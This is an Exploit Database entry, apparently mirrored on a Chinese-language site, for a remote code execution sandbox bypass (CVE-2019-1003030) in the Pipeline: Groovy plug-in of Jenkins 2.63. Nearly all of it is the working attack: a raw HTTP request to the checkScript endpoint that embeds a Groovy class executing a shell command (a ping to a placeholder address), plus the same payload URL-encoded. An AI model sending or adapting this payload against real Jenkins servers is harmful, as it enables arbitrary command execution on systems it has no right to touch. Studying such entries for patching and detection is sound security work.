Jenkins 2.63 – Sandbox bypass in pipeline: Groovy plug-in

• Exploit Database
• 15 阅读

• 作者： Daniel Morris
  日期： 2020-10-19
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/48904/

• # Exploit Title: Jenkins 2.63 - Sandbox bypass in pipeline: Groovy plug-in
  # Date: 8th October 2020
  # Exploit Author: dmw0ng
  # Vendor Homepage: https://www.jenkins.io
  # Software Link: http://archives.jenkins-ci.org/windows/jenkins-2.63.zip
  # Version: Jenkins 2.63
  # Tested on: Ubuntu 18.04 / 20.04
  # CVE : CVE-2019-1003030
  
  GET /jenkinselj/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {
  public x(){
  "ping -c 1 xx.xx.xx.xx".execute()
  }
  } HTTP/1.1
  Host: 127.0.0.1
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: JSESSIONID.4495c8e0=node01jguwrtw481dx1bf3gaoq5o6no32.node0
  Connection: close
  Upgrade-Insecure-Requests: 1
  
  URL Encoding the following for RCE
  ```public class x {
  public x(){
  "ping -c 1 xx.xx.xx.xx".execute()
  }
  } ```
  
  to
  
  %70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0a%22%70%69%6e%67%20%2d%63%20%31%20%78%78%2e%78%78%2e%78%78%2e%78%78%22%2e%65%78%65%63%75%74%65%28%29%0a%7d%0a%7d